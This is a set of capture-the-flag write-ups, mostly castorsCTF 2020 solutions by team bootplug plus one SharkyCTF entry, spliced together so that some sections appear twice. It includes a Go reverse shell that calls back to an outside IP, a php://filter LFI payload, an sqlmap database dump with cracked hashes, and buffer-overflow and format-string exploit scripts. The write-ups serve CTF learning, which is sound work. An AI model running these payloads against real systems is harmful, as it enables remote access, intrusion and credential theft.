`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# My huge file 297 points>I have a very big file for you. I hid a present inside.>Classic tools wont be useful here.>Connect with ssh [email protected] -p 9000. Password : big.>Creator : Nofix
SSH into it:```bashbig@ee6e73167aa0:~$ls -lhtotal 256K-rw-r--r-- 1 root root 31G May 11 23:13 my_huge_filebig@ee6e73167aa0:~$```Notice the `my_huge_file` is **31G!!!**
I tried to use `tr` `cat | grep` but it takes to much time so it been killed
Then do some research on `grep all except null` found:[Remove blank lines with grep](https://stackoverflow.com/questions/3432555/remove-blank-lines-with-grep)
Then i try:```bashgrep -v -e '^$' my_huge_fileBinary file my_huge_file matches```
Then i do more research found this link:[Grep 'binary file matches'](https://stackoverflow.com/questions/23512852/grep-binary-file-matches-how-to-get-normal-grep-output)
Need add `-a` option
But i tried, it been killed```bashgrep -av -e '^$' my_huge_file Killed```
Then i look at the man page of `grep`, notice an option:```-z, --null-data
Treat input and output data as sequences of lines, each terminated by a zero byte (the ASCII NUL character) insteadof a newline. Like the -Z or --null option, this option can be used with commands like sort -z to process arbitraryfile names.
```
Then I quickly test it out:```grep -avz -e '^$' my_huge_file ?shkCTF{sp4rs3_f1l3s_4r3_c001_6cf61f47f6273dfa225ee3366eacb8eb}```
Yes!! We get the damn flag!!
## Flag```shkCTF{sp4rs3_f1l3s_4r3_c001_6cf61f47f6273dfa225ee3366eacb8eb}```
## Other solutionsAfter the CTF ends, I notice this is a sparse file (Means physically the file is not 31G)
[Use tail command](https://github.com/TheLeagueOfSociallyDistancedGentlemen/SharkyCTF2020/blob/master/Misc.md)
[Sparse file](https://github.com/LibWTF/ctf_writeups/blob/master/SharkyCTF-2020/MyHugeFile.md) |
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

